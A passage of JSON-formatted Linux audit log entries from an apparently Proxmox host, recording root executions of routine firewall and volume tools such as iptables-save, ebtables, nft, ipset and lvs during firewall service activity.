gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215842,"@rawstring":"node=pve type=PATH msg=audit(1781966215.842:68943): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965506003,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965506.003:65907): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964785644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.644:62581): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215840,"@rawstring":"node=pve type=PATH msg=audit(1781966215.840:68942): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505988,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.988:65906): proctitle=\"ip6tables-save\""} {"@timestamp":1781964785640,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.640:62578): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada680 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215840,"@rawstring":"node=pve type=PATH msg=audit(1781966215.840:68942): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505979,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.979:65905): proctitle=\"iptables-save\""} {"@timestamp":1781964785633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.633:62577): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215840,"@rawstring":"node=pve type=PATH msg=audit(1781966215.840:68941): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505962,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.962:65904): proctitle=\"ip6tables-save\""} {"@timestamp":1781964785633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.633:62576): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215835,"@rawstring":"node=pve type=PATH msg=audit(1781966215.835:68940): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505947,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.947:65903): proctitle=\"iptables-save\""} {"@timestamp":1781964785627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.627:62573): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60014 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215835,"@rawstring":"node=pve type=PATH msg=audit(1781966215.835:68940): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.940:65902): proctitle=\"ebtables-restore\""} {"@timestamp":1781964785624,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.624:62572): arch=c000003e syscall=59 success=yes exit=0 a0=5b2e0c728d70 a1=5b2e0c734f80 a2=5b2e0c702680 a3=5 items=2 ppid=60007 pid=60013 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215835,"@rawstring":"node=pve type=PATH msg=audit(1781966215.835:68940): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.936:65901): proctitle=\"ebtables-restore\""} {"@timestamp":1781964785622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.622:62571): arch=c000003e syscall=59 success=yes exit=0 a0=5b2dd66f9ac8 a1=7fff89827790 a2=5b2e0c702680 a3=5b2dd66dd24e items=2 ppid=60007 pid=60009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215833,"@rawstring":"node=pve type=PATH msg=audit(1781966215.833:68939): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.930:65900): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964785621,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.621:62570): arch=c000003e syscall=59 success=yes exit=0 a0=7fff89827750 a1=5b2e0c724410 a2=5b2e0c702680 a3=5 items=2 ppid=60007 pid=60008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215833,"@rawstring":"node=pve type=PATH msg=audit(1781966215.833:68939): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.921:65899): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964785617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.617:62568): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13bae0 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60007 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215833,"@rawstring":"node=pve type=PATH msg=audit(1781966215.833:68938): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505912,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.912:65898): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964785611,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.611:62567): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13bae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60006 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215833,"@rawstring":"node=pve type=PATH msg=audit(1781966215.833:68937): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.906:65897): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964785606,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.606:62566): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60005 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=PATH msg=audit(1781966215.828:68936): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.898:65896): proctitle=697073657400726573746F7265"} {"@timestamp":1781964785601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.601:62565): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2c60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60004 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=PATH msg=audit(1781966215.828:68936): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505888,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.888:65895): proctitle=\"ip6tables-save\""} {"@timestamp":1781964785595,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.595:62564): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6690 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=PATH msg=audit(1781966215.828:68935): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.877:65894): proctitle=\"iptables-save\""} {"@timestamp":1781964785588,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.588:62563): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bbb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=PATH msg=audit(1781966215.828:68935): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505873,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.873:65893): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964784839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964784.839:62562): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ae290 a1=64f8d740f120 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60001 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=PATH msg=audit(1781966215.828:68934): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505870,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.870:65892): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964784814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964784.814:62561): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ae140 a1=64f8d740f3a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60000 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215827,"@rawstring":"node=pve type=PATH msg=audit(1781966215.827:68933): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505868,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.868:65891): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964780623,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964780.623:62560): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215819,"@rawstring":"node=pve type=PATH msg=audit(1781966215.819:68932): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505868,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.868:65890): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964780608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964780.608:62557): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215819,"@rawstring":"node=pve type=PATH msg=audit(1781966215.819:68932): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.864:65889): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964775599,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.599:62554): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215814,"@rawstring":"node=pve type=PATH msg=audit(1781966215.814:68931): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505856,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.856:65888): proctitle=\"ip6tables-save\""} {"@timestamp":1781964775591,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.591:62551): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215814,"@rawstring":"node=pve type=PATH msg=audit(1781966215.814:68931): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.848:65887): proctitle=\"iptables-save\""} {"@timestamp":1781964775577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.577:62548): arch=c000003e syscall=59 success=yes exit=0 a0=55f8955a5e90 a1=55f8955a2c10 a2=55f895584680 a3=5 items=2 ppid=59984 pid=59990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215805,"@rawstring":"node=pve type=PATH msg=audit(1781966215.805:68930): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.842:65886): proctitle=69707365740073617665"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.573:62547): arch=c000003e syscall=59 success=yes exit=0 a0=55f878c81ac8 a1=7ffe612e06a0 a2=55f895584680 a3=55f878c6524e items=2 ppid=59984 pid=59986 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215805,"@rawstring":"node=pve type=PATH msg=audit(1781966215.805:68930): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505831,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.831:65885): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.573:62546): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe612e0660 a1=55f8955a1b00 a2=55f895584680 a3=5 items=2 ppid=59984 pid=59985 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215794,"@rawstring":"node=pve type=PATH msg=audit(1781966215.794:68929): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965505821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965505.821:65884): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964775569,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.569:62544): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59984 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215794,"@rawstring":"node=pve type=PATH msg=audit(1781966215.794:68929): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965504145,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965504.145:65883): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964775563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.563:62543): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59983 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966214467,"@rawstring":"node=pve type=PATH msg=audit(1781966214.467:68928): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965504123,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965504.123:65882): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964775557,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.557:62542): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59982 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966214467,"@rawstring":"node=pve type=PATH msg=audit(1781966214.467:68928): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965503254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965503.254:65881): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775550,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.550:62541): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59981 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966214431,"@rawstring":"node=pve type=PATH msg=audit(1781966214.431:68927): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965503254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965503.254:65880): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775543,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.543:62540): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966214431,"@rawstring":"node=pve type=PATH msg=audit(1781966214.431:68927): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965503254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965503.254:65879): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.540:62539): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=55a2d3f4d740 items=0 ppid=1156 pid=59979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966210818,"@rawstring":"node=pve type=PATH msg=audit(1781966210.818:68926): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965503246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965503.246:65878): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775538,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.538:62538): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed8e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210818,"@rawstring":"node=pve type=PATH msg=audit(1781966210.818:68926): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965503246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965503.246:65877): 